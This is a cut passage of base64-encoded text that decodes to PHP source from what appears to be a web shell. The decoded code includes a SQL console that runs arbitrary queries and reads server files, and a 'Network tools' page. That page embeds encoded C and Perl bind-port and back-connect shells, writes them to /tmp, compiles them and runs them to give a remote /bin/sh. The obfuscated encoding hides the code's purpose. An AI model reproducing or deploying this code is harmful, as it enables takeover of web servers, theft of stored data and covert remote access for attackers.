ZTwvdGQ+DQogICAgICAgICAgICAgICAgPHRkPjwvdGQ+DQogICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWEgdmFsdWU9U3FsPg0KICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXAxIHZhbHVlPVwncXVlcnlcJz4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMj4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4NCiAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jaGFyc2V0IHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2NoYXJzZXQnXSk/JF9QT1NUWydjaGFyc2V0J106JycpLiciPg0KICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgPHNlbGVjdCBuYW1lPVwndHlwZVwnPg0KICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibXlzcWwiICcuKEAkX1BPU1RbJ3R5cGUnXT09J215c3FsJz8nc2VsZWN0ZWQnOicnKS4nPk15U3FsPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJwZ3NxbCIgJy4oQCRfUE9TVFsndHlwZSddPT0ncGdzcWwnPydzZWxlY3RlZCc6JycpLic+UG9zdGdyZVNxbDwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICA8L3NlbGVjdD48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2hvc3QgdmFsdWU9IicuKGVtcHR5KCRfUE9TVFsnc3FsX2hvc3QnXSk/J2xvY2FsaG9zdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9ob3N0J10pKS4nIj48L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT10ZXh0IG5hbWU9c3FsX2xvZ2luIHZhbHVlPSInLihlbXB0eSgkX1BPU1RbJ3NxbF9sb2dpbiddKT8ncm9vdCc6aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9sb2dpbiddKSkuJyI+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+PGlucHV0IHR5cGU9dGV4dCBuYW1lPXNxbF9wYXNzIHZhbHVlPSInLihlbXB0eSgkX1BPU1RbJ3NxbF9wYXNzJ10pPycnOmh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfcGFzcyddKSkuJyI+PC90ZD4NCiAgICAgICAgICAgICAgICA8dGQ+JzsNCiAgICAkdG1wID0gIjxpbnB1dCB0eXBlPXRleHQgbmFtZT1zcWxfYmFzZSB2YWx1ZT0nJz4iOw0KICAgIGlmKGlzc2V0KCRfUE9TVFsnc3FsX2hvc3QnXSkpew0KICAgICAgICBpZigkZGItPmNvbm5lY3QoJF9QT1NUWydzcWxfaG9zdCddLCAkX1BPU1RbJ3NxbF9sb2dpbiddLCAkX1BPU1RbJ3NxbF9wYXNzJ10sICRfUE9TVFsnc3FsX2Jhc2UnXSkpIHsNCiAgICAgICAgICAgIHN3aXRjaCgkX1BPU1RbJ2NoYXJzZXQnXSkgew0KICAgICAgICAgICAgICAgIGNhc2UgIldpbmRvd3MtMTI1MSI6ICRkYi0+c2V0Q2hhcnNldCgnY3AxMjUxJyk7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgIlVURi04IjogJGRiLT5zZXRDaGFyc2V0KCd1dGY4Jyk7IGJyZWFrOw0KICAgICAgICAgICAgICAgIGNhc2UgIktPSTgtUiI6ICRkYi0+c2V0Q2hhcnNldCgna29pOHInKTsgYnJlYWs7DQogICAgICAgICAgICAgICAgY2FzZSAiS09JOC1VIjogJGRiLT5zZXRDaGFyc2V0KCdrb2k4dScpOyBicmVhazsNCiAgICAgICAgICAgICAgICBjYXNlICJjcDg2NiI6ICRkYi0+c2V0Q2hhcnNldCgnY3A4NjYnKTsgYnJlYWs7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkZGItPmxpc3REYnMoKTsNCiAgICAgICAgICAgIGVjaG8gIjxzZWxlY3QgbmFtZT1zcWxfYmFzZT48b3B0aW9uIHZhbHVlPScnPjwvb3B0aW9uPiI7DQogICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkgew0KICAgICAgICAgICAgICAgIGxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOw0KICAgICAgICAgICAgICAgIGVjaG8gJzxvcHRpb24gdmFsdWU9IicuJHZhbHVlLiciICcuKCR2YWx1ZT09JF9QT1NUWydzcWxfYmFzZSddPydzZWxlY3RlZCc6JycpLic+Jy4kdmFsdWUuJzwvb3B0aW9uPic7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBlY2hvICc8L3NlbGVjdD4nOw0KICAgICAgICB9DQogICAgICAgIGVsc2UgZWNobyAkdG1wOw0KICAgIH1lbHNlDQogICAgICAgIGVjaG8gJHRtcDsNCiAgICBlY2hvICc8L3RkPg0KICAgICAgICAgICAgICAgIDx0ZD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L3RkPg0KICAgICAgICAgICAgPC90cj4NCiAgICAgICAgPC90YWJsZT4NCiAgICAgICAgPHNjcmlwdD4NCiAgICAgICAgICAgIGZ1bmN0aW9uIHN0KHQsbCkgew0KICAgICAgICAgICAgICAgIGRvY3VtZW50LnNmLnAxLnZhbHVlID0gXCdzZWxlY3RcJzsNCiAgICAgICAgICAgICAgICBkb2N1bWVudC5zZi5wMi52YWx1ZSA9IHQ7DQogICAgICAgICAgICAgICAgaWYobCE9bnVsbClkb2N1bWVudC5zZi5wMy52YWx1ZSA9IGw7DQogICAgICAgICAgICAgICAgZG9jdW1lbnQuc2Yuc3VibWl0KCk7DQogICAgICAgICAgICB9DQogICAgICAgICAgICBmdW5jdGlvbiBpcygpIHsNCiAgICAgICAgICAgICAgICBmb3IoaT0wO2k8ZG9jdW1lbnQuc2YuZWxlbWVudHNbXCd0YmxbXVwnXS5sZW5ndGg7KytpKQ0KICAgICAgICAgICAgICAgICAgICBkb2N1bWVudC5zZi5lbGVtZW50c1tcJ3RibFtdXCddW2ldLmNoZWNrZWQgPSAhZG9jdW1lbnQuc2YuZWxlbWVudHNbXCd0YmxbXVwnXVtpXS5jaGVja2VkOw0KICAgICAgICAgICAgfQ0KICAgICAgICA8L3NjcmlwdD4nOw0KICAgIGlmKGlzc2V0KCRkYikgJiYgJGRiLT5saW5rKXsNCiAgICAgICAgZWNobyAiPGJyLz48dGFibGUgd2lkdGg9MTAwJSBjZWxscGFkZGluZz0yIGNlbGxzcGFjaW5nPTA+IjsNCiAgICAgICAgICAgIGlmKCFlbXB0eSgkX1BPU1RbJ3NxbF9iYXNlJ10pKXsNCiAgICAgICAgICAgICAgICAkZGItPnNlbGVjdGRiKCRfUE9TVFsnc3FsX2Jhc2UnXSk7DQogICAgICAgICAgICAgICAgZWNobyAiPHRyPjx0ZCB3aWR0aD0xIHN0eWxlPSdib3JkZXItdG9wOjJweCBzb2xpZCAjNjY2O2JvcmRlci1yaWdodDoycHggc29saWQgIzY2NjsnPjxzcGFuPlRhYmxlczo8L3NwYW4+PGJyPjxicj4iOw0KICAgICAgICAgICAgICAgICR0YmxzX3JlcyA9ICRkYi0+bGlzdFRhYmxlcygpOw0KICAgICAgICAgICAgICAgIHdoaWxlKCRpdGVtID0gJGRiLT5mZXRjaCgkdGJsc19yZXMpKSB7DQogICAgICAgICAgICAgICAgICAgIGxpc3QoJGtleSwgJHZhbHVlKSA9IGVhY2goJGl0ZW0pOw0KICAgICAgICAgICAgICAgICAgICAkbiA9ICRkYi0+ZmV0Y2goJGRiLT5xdWVyeSgnU0VMRUNUIENPVU5UKCopIGFzIG4gRlJPTSAnLiR2YWx1ZS4nJykpOw0KICAgICAgICAgICAgICAgICAgICAkdmFsdWUgPSBodG1sc3BlY2lhbGNoYXJzKCR2YWx1ZSk7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxub2JyPjxpbnB1dCB0eXBlPSdjaGVja2JveCcgbmFtZT0ndGJsW10nIHZhbHVlPSciLiR2YWx1ZS4iJz4mbmJzcDs8YSBocmVmPSMgb25jbGljaz1cInN0KCciLiR2YWx1ZS4iJylcIj4iLiR2YWx1ZS4iPC9hPiAoIi4kblsnbiddLiIpPC9ub2JyPjxicj4iOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICBlY2hvICI8aW5wdXQgdHlwZT0nY2hlY2tib3gnIG9uY2xpY2s9J2lzKCk7Jz4gPGlucHV0IHR5cGU9YnV0dG9uIHZhbHVlPSdEdW1wJyBvbmNsaWNrPSdkb2N1bWVudC5zZi5wMi52YWx1ZT1cImRvd25sb2FkXCI7ZG9jdW1lbnQuc2Yuc3VibWl0KCk7Jz48L3RkPjx0ZCBzdHlsZT0nYm9yZGVyLXRvcDoycHggc29saWQgIzY2NjsnPiI7DQogICAgICAgICAgICAgICAgaWYoQCRfUE9TVFsncDEnXSA9PSAnc2VsZWN0Jykgew0KICAgICAgICAgICAgICAgICAgICAkX1BPU1RbJ3AxJ10gPSAncXVlcnknOw0KICAgICAgICAgICAgICAgICAgICAkZGItPnF1ZXJ5KCdTRUxFQ1QgQ09VTlQoKikgYXMgbiBGUk9NICcuJF9QT1NUWydwMiddLicnKTsNCiAgICAgICAgICAgICAgICAgICAgJG51bSA9ICRkYi0+ZmV0Y2goKTsNCiAgICAgICAgICAgICAgICAgICAgJG51bSA9ICRudW1bJ24nXTsNCiAgICAgICAgICAgICAgICAgICAgZWNobyAiPHNwYW4+Ii4kX1BPU1RbJ3AyJ10uIjwvc3Bhbj4gKCRudW0pICI7DQogICAgICAgICAgICAgICAgICAgIGZvcigkaT0wOyRpPCgkbnVtLzMwKTskaSsrKQ0KICAgICAgICAgICAgICAgICAgICAgICAgaWYoJGkgIT0gKGludCkkX1BPU1RbJ3AzJ10pDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGEgaHJlZj0nIycgb25jbGljaz0nc3QoXCIiLiRfUE9TVFsncDInXS4iXCIsICRpKSc+IiwoJGkrMSksIjwvYT4gIjsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICgkaSsxKSwiICI7DQogICAgICAgICAgICAgICAgICAgIGlmKCRfUE9TVFsndHlwZSddPT0ncGdzcWwnKQ0KICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddID0gJ1NFTEVDVCAqIEZST00gJy4kX1BPU1RbJ3AyJ10uJyBMSU1JVCAzMCBPRkZTRVQgJy4oJF9QT1NUWydwMyddKjMwKTsNCiAgICAgICAgICAgICAgICAgICAgZWxzZQ0KICAgICAgICAgICAgICAgICAgICAgICAgJF9QT1NUWydwMyddID0gJ1NFTEVDVCAqIEZST00gYCcuJF9QT1NUWydwMiddLidgIExJTUlUICcuKCRfUE9TVFsncDMnXSozMCkuJywzMCc7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gIjxicj48YnI+IjsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgaWYoKEAkX1BPU1RbJ3AxJ10gPT0gJ3F1ZXJ5JykgJiYgIWVtcHR5KCRfUE9TVFsncDMnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgJGRiLT5xdWVyeShAJF9QT1NUWydwMyddKTsNCiAgICAgICAgICAgICAgICAgICAgaWYoJGRiLT5yZXMgIT09IGZhbHNlKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkdGl0bGUgPSBmYWxzZTsNCiAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0YWJsZSB3aWR0aD0xMDAlIGNlbGxzcGFjaW5nPTAgY2VsbHBhZGRpbmc9MiBjbGFzcz1tYWluPic7DQogICAgICAgICAgICAgICAgICAgICAgICAkbGluZSA9IDE7DQogICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSgkaXRlbSA9ICRkYi0+ZmV0Y2goKSkgICAgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmKCEkdGl0bGUpICAgIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGg+Jy4ka2V5Lic8L3RoPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJlc2V0KCRpdGVtKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRpdGxlPXRydWU7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzwvdHI+PHRyPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gMjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPHRyIGNsYXNzPSJsJy4kbGluZS4nIj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsaW5lID0gJGxpbmU9PTE/MjoxOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZvcmVhY2goJGl0ZW0gYXMgJGtleSA9PiAkdmFsdWUpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYoJHZhbHVlID09IG51bGwpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8dGQ+PGk+bnVsbDwvaT48L3RkPic7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVsc2UNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzx0ZD4nLm5sMmJyKGh0bWxzcGVjaWFsY2hhcnMoJHZhbHVlKSkuJzwvdGQ+JzsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90cj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPC90YWJsZT4nOw0KICAgICAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAnPGRpdj48Yj5FcnJvcjo8L2I+ICcuaHRtbHNwZWNpYWxjaGFycygkZGItPmVycm9yKCkpLic8L2Rpdj4nOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIGVjaG8gIjxicj48dGV4dGFyZWEgbmFtZT0ncDMnIHN0eWxlPSd3aWR0aDoxMDAlO2hlaWdodDoxMDBweCc+Ii5AaHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AzJ10pLiI8L3RleHRhcmVhPjxici8+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSdFeGVjdXRlJz4iOw0KICAgICAgICAgICAgICAgIGVjaG8gIjwvdGQ+PC90cj4iOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgZWNobyAiPC90YWJsZT48L2Zvcm0+PGJyLz48Zm9ybSBvbnN1Ym1pdD0nZG9jdW1lbnQuc2YucDEudmFsdWU9XCJsb2FkZmlsZVwiO2RvY3VtZW50LnNmLnAyLnZhbHVlPXRoaXMuZi52YWx1ZTtkb2N1bWVudC5zZi5zdWJtaXQoKTtyZXR1cm4gZmFsc2U7Jz48c3Bhbj5Mb2FkIGZpbGU8L3NwYW4+IDxpbnB1dCAgY2xhc3M9J3Rvb2xzSW5wJyB0eXBlPXRleHQgbmFtZT1mPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0nPj4nPjwvZm9ybT4iOw0KICAgICAgICAgICAgaWYoQCRfUE9TVFsncDEnXSA9PSAnbG9hZGZpbGUnKSB7DQogICAgICAgICAgICAgICAgJGRiLT5xdWVyeSgiU0VMRUNUIExPQURfRklMRSgnIi5hZGRzbGFzaGVzKCRfUE9TVFsncDInXSkuIicpIGFzIGZpbGUiKTsNCiAgICAgICAgICAgICAgICAkZmlsZSA9ICRkYi0+ZmV0Y2goKTsNCiAgICAgICAgICAgICAgICBlY2hvICc8cHJlIGNsYXNzPW1sMT4nLmh0bWxzcGVjaWFsY2hhcnMoJGZpbGVbJ2ZpbGUnXSkuJzwvcHJlPic7DQogICAgICAgICAgICB9DQogICAgfQ0KICAgIGVjaG8gJzwvZGl2Pic7DQogICAgcHJpbnRGb290ZXIoKTsNCn0NCg0KZnVuY3Rpb24gYWN0aW9uTmV0d29yaygpIHsNCiAgICBwcmludEhlYWRlcigpOw0KICAgICRiYWNrX2Nvbm5lY3RfYz0iSTJsdVkyeDFaR1VnUEhOMFpHbHZMbWcrRFFvamFXNWpiSFZrWlNBOGMzbHpMM052WTJ0bGRDNW9QZzBLSTJsdVkyeDFaR1VnUEc1bGRHbHVaWFF2YVc0dWFENE5DbWx1ZENCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDcGhjbWQyVzEwcElIc05DaUFnSUNCcGJuUWdabVE3RFFvZ0lDQWdjM1J5ZFdOMElITnZZMnRoWkdSeVgybHVJSE5wYmpzTkNpQWdJQ0JrWVdWdGIyNG9NU3d3S1RzTkNpQWdJQ0J6YVc0dWMybHVYMlpoYldsc2VTQTlJRUZHWDBsT1JWUTdEUW9nSUNBZ2MybHVMbk5wYmw5d2IzSjBJRDBnYUhSdmJuTW9ZWFJ2YVNoaGNtZDJXekpkS1NrN0RRb2dJQ0FnYzJsdUxuTnBibDloWkdSeUxuTmZZV1JrY2lBOUlHbHVaWFJmWVdSa2NpaGhjbWQyV3pGZEtUc05DaUFnSUNCbVpDQTlJSE52WTJ0bGRDaEJSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnU1ZCUVVrOVVUMTlVUTFBcElEc05DaUFnSUNCcFppQW9LR052Ym01bFkzUW9abVFzSUNoemRISjFZM1FnYzI5amEyRmtaSElnS2lrZ0puTnBiaXdnYzJsNlpXOW1LSE4wY25WamRDQnpiMk5yWVdSa2Npa3BLVHd3S1NCN0RRb2dJQ0FnSUNBZ0lIQmxjbkp2Y2lnaVEyOXVibVZqZENCbVlXbHNJaWs3RFFvZ0lDQWdJQ0FnSUhKbGRIVnliaUF3T3cwS0lDQWdJSDBOQ2lBZ0lDQmtkWEF5S0daa0xDQXdLVHNOQ2lBZ0lDQmtkWEF5S0daa0xDQXhLVHNOQ2lBZ0lDQmtkWEF5S0daa0xDQXlLVHNOQ2lBZ0lDQnplWE4wWlcwb0lpOWlhVzR2YzJnZ0xXa2lLVHNOQ2lBZ0lDQmpiRzl6WlNobVpDazdEUXA5IjsNCiAgICAkYmFja19jb25uZWN0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdVMjlqYTJWME93MEtKR2xoWkdSeVBXbHVaWFJmWVhSdmJpZ2tRVkpIVmxzd1hTa2dmSHdnWkdsbEtDSkZjbkp2Y2pvZ0pDRmNiaUlwT3cwS0pIQmhaR1J5UFhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQWthV0ZrWkhJcElIeDhJR1JwWlNnaVJYSnliM0k2SUNRaFhHNGlLVHNOQ2lSd2NtOTBiejFuWlhSd2NtOTBiMko1Ym1GdFpTZ25kR053SnlrN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2dKSEJ5YjNSdktTQjhmQ0JrYVdVb0lrVnljbTl5T2lBa0lWeHVJaWs3RFFwamIyNXVaV04wS0ZOUFEwdEZWQ3dnSkhCaFpHUnlLU0I4ZkNCa2FXVW9Ja1Z5Y205eU9pQWtJVnh1SWlrN0RRcHZjR1Z1S0ZOVVJFbE9MQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVQxVlVMQ0FpUGlaVFQwTkxSVlFpS1RzTkNtOXdaVzRvVTFSRVJWSlNMQ0FpUGlaVFQwTkxSVlFpS1RzTkNuTjVjM1JsYlNnbkwySnBiaTl6YUNBdGFTY3BPdzBLWTJ4dmMyVW9VMVJFU1U0cE93MEtZMnh2YzJVb1UxUkVUMVZVS1RzTkNtTnNiM05sS0ZOVVJFVlNVaWs3IjsNCiAgICAkYmluZF9wb3J0X2M9IkkybHVZMngxWkdVZ1BITjBaR2x2TG1nK0RRb2phVzVqYkhWa1pTQThjM1J5YVc1bkxtZytEUW9qYVc1amJIVmtaU0E4ZFc1cGMzUmtMbWcrRFFvamFXNWpiSFZrWlNBOGJtVjBaR0l1YUQ0TkNpTnBibU5zZFdSbElEeHpkR1JzYVdJdWFENE5DbWx1ZENCdFlXbHVLR2x1ZENCaGNtZGpMQ0JqYUdGeUlDb3FZWEpuZGlrZ2V3MEtJQ0FnSUdsdWRDQnpMR01zYVRzTkNpQWdJQ0JqYUdGeUlIQmJNekJkT3cwS0lDQWdJSE4wY25WamRDQnpiMk5yWVdSa2NsOXBiaUJ5T3cwS0lDQWdJR1JoWlcxdmJpZ3hMREFwT3cwS0lDQWdJSE1nUFNCemIyTnJaWFFvUVVaZlNVNUZWQ3hUVDBOTFgxTlVVa1ZCVFN3d0tUc05DaUFnSUNCcFppZ2hjeWtnY21WMGRYSnVJQzB4T3cwS0lDQWdJSEl1YzJsdVgyWmhiV2xzZVNBOUlFRkdYMGxPUlZRN0RRb2dJQ0FnY2k1emFXNWZjRzl5ZENBOUlHaDBiMjV6S0dGMGIya29ZWEpuZGxzeFhTa3BPdzBLSUNBZ0lISXVjMmx1WDJGa1pISXVjMTloWkdSeUlEMGdhSFJ2Ym13b1NVNUJSRVJTWDBGT1dTazdEUW9nSUNBZ1ltbHVaQ2h6TENBb2MzUnlkV04wSUhOdlkydGhaR1J5SUNvcEpuSXNJREI0TVRBcE93MEtJQ0FnSUd4cGMzUmxiaWh6TENBMUtUc05DaUFnSUNCM2FHbHNaU2d4S1NCN0RRb2dJQ0FnSUNBZ0lHTTlZV05qWlhCMEtITXNNQ3d3S1RzTkNpQWdJQ0FnSUNBZ1pIVndNaWhqTERBcE93MEtJQ0FnSUNBZ0lDQmtkWEF5S0dNc01TazdEUW9nSUNBZ0lDQWdJR1IxY0RJb1l5d3lLVHNOQ2lBZ0lDQWdJQ0FnZDNKcGRHVW9ZeXdpVUdGemMzZHZjbVE2SWl3NUtUc05DaUFnSUNBZ0lDQWdjbVZoWkNoakxIQXNjMmw2Wlc5bUtIQXBLVHNOQ2lBZ0lDQWdJQ0FnWm05eUtHazlNRHRwUEhOMGNteGxiaWh3S1R0cEt5c3BEUW9nSUNBZ0lDQWdJQ0FnSUNCcFppZ2dLSEJiYVYwZ1BUMGdKMXh1SnlrZ2ZId2dLSEJiYVYwZ1BUMGdKMXh5SnlrZ0tRMEtJQ0FnSUNBZ0lDQWdJQ0FnSUNBZ0lIQmJhVjBnUFNBblhEQW5PdzBLSUNBZ0lDQWdJQ0JwWmlBb2MzUnlZMjF3S0dGeVozWmJNbDBzY0NrZ1BUMGdNQ2tOQ2lBZ0lDQWdJQ0FnSUNBZ0lITjVjM1JsYlNnaUwySnBiaTl6YUNBdGFTSXBPdzBLSUNBZ0lDQWdJQ0JqYkc5elpTaGpLVHNOQ2lBZ0lDQjlEUXA5IjsNCiAgICAkYmluZF9wb3J0X3A9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFva1UwaEZURXc5SWk5aWFXNHZjMmdnTFdraU93MEthV1lnS0VCQlVrZFdJRHdnTVNrZ2V5QmxlR2wwS0RFcE95QjlEUXAxYzJVZ1UyOWphMlYwT3cwS2MyOWphMlYwS0ZNc0psQkdYMGxPUlZRc0psTlBRMHRmVTFSU1JVRk5MR2RsZEhCeWIzUnZZbmx1WVcxbEtDZDBZM0FuS1NrZ2ZId2daR2xsSUNKRFlXNTBJR055WldGMFpTQnpiMk5yWlhSY2JpSTdEUXB6WlhSemIyTnJiM0IwS0ZNc1UwOU1YMU5QUTB0RlZDeFRUMTlTUlZWVFJVRkVSRklzTVNrN0RRcGlhVzVrS0ZNc2MyOWphMkZrWkhKZmFXNG9KRUZTUjFaYk1GMHNTVTVCUkVSU1gwRk9XU2twSUh4OElHUnBaU0FpUTJGdWRDQnZjR1Z1SUhCdmNuUmNiaUk3RFFwc2FYTjBaVzRvVXl3ektTQjhmQ0JrYVdVZ0lrTmhiblFnYkdsemRHVnVJSEJ2Y25SY2JpSTdEUXAzYUdsc1pTZ3hLU0I3RFFvSllXTmpaWEIwS0VOUFRrNHNVeWs3RFFvSmFXWW9JU2drY0dsa1BXWnZjbXNwS1NCN0RRb0pDV1JwWlNBaVEyRnVibTkwSUdadmNtc2lJR2xtSUNnaFpHVm1hVzVsWkNBa2NHbGtLVHNOQ2drSmIzQmxiaUJUVkVSSlRpd2lQQ1pEVDA1T0lqc05DZ2tKYjNCbGJpQlRWRVJQVlZRc0lqNG1RMDlPVGlJN0RRb0pDVzl3Wlc0Z1UxUkVSVkpTTENJK0prTlBUazRpT3cwS0NRbGxlR1ZqSUNSVFNFVk1UQ0I4ZkNCa2FXVWdjSEpwYm5RZ1EwOU9UaUFpUTJGdWRDQmxlR1ZqZFhSbElDUlRTRVZNVEZ4dUlqc05DZ2tKWTJ4dmMyVWdRMDlPVGpzTkNna0paWGhwZENBd093MEtDWDBOQ24wPSI7DQogICAgDQogICAgZWNobyAnPGgxPk5ldHdvcmsgdG9vbHM8L2gxPjxkaXYgY2xhc3M9Y29udGVudD4NCiAgICA8Zm9ybSBuYW1lPVwnbmZwXCcgb25TdWJtaXQ9ImcobnVsbCxudWxsLHRoaXMudXNpbmcudmFsdWUsdGhpcy5wb3J0LnZhbHVlLHRoaXMucGFzcy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+DQogICAgPGJyIC8+PHNwYW4+QmluZCBwb3J0IHRvIC9iaW4vc2g8L3NwYW4+PGJyLz4NCiAgICBQb3J0OiA8aW5wdXQgdHlwZT1cJ3RleHRcJyBuYW1lPVwncG9ydFwnIHZhbHVlPVwnNDQzXCc+IFBhc3N3b3JkOiA8aW5wdXQgdHlwZT1cJ3RleHRcJyBuYW1lPVwncGFzc1wnIHZhbHVlPVwnU3RyNHdoYXRcJz4gVXNpbmc6IDxzZWxlY3QgbmFtZT0idXNpbmciPjxvcHRpb24gdmFsdWU9XCdicGNcJz5DPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT1cJ2JwcFwnPlBlcmw8L29wdGlvbj48L3NlbGVjdD4gPGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+DQogICAgPC9mb3JtPg0KICAgIDxmb3JtIG5hbWU9XCduZnBcJyBvblN1Ym1pdD0iZyhudWxsLG51bGwsdGhpcy51c2luZy52YWx1ZSx0aGlzLnNlcnZlci52YWx1ZSx0aGlzLnBvcnQudmFsdWUpO3JldHVybiBmYWxzZTsiPg0KICAgIDxiciAvPjxiciAvPjxzcGFuPkJhY2stY29ubmVjdCB0bzwvc3Bhbj48YnIvPg0KICAgIFNlcnZlcjogPGlucHV0IHR5cGU9XCd0ZXh0XCcgbmFtZT1cJ3NlcnZlclwnIHZhbHVlPSInLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLiciPiBQb3J0OiA8aW5wdXQgdHlwZT1cJ3RleHRcJyBuYW1lPVwncG9ydFwnIHZhbHVlPVwnNDQzXCc+IFVzaW5nOiA8c2VsZWN0IG5hbWU9InVzaW5nIj48b3B0aW9uIHZhbHVlPVwnYmNjXCc+Qzwvb3B0aW9uPjxvcHRpb24gdmFsdWU9XCdiY3BcJz5QZXJsPC9vcHRpb24+PC9zZWxlY3Q+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPg0KICAgIDwvZm9ybT48YnI+JzsgICAgDQogICAgaWYoaXNzZXQoJF9QT1NUWydwMSddKSkgew0KICAgICAgICBmdW5jdGlvbiBjZigkZiwkdCkgew0KICAgICAgICAgICAgJHc9QGZvcGVuKCRmLCJ3Iikgb3IgQGZ1bmN0aW9uX2V4aXN0cygnZmlsZV9wdXRfY29udGVudHMnKTsNCiAgICAgICAgICAgIGlmKCR3KSAgICB7DQogICAgICAgICAgICAgICAgQGZ3cml0ZSgkdyxAYmFzZTY0X2RlY29kZSgkdCkpIG9yIEBmcHV0cygkdyxAYmFzZTY0X2RlY29kZSgkdCkpIG9yIEBmaWxlX3B1dF9jb250ZW50cygkZixAYmFzZTY0X2RlY29kZSgkdCkpOw0KICAgICAgICAgICAgICAgIEBmY2xvc2UoJHcpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGlmKCRfUE9TVFsncDEnXSA9PSAnYnBjJykgew0KICAgICAgICAgICAgY2YoIi90bXAvYnAuYyIsJGJpbmRfcG9ydF9jKTsNCiAgICAgICAgICAgICRvdXQgPSBleCgiZ2NjIC1vIC90bXAvYnAgL3RtcC9icC5jIik7DQogICAgICAgICAgICBAdW5saW5rKCIvdG1wL2JwLmMiKTsNCiAgICAgICAgICAgICRvdXQgLj0gZXgoIi90bXAvYnAgIi4kX1BPU1RbJ3AyJ10uIiAiLi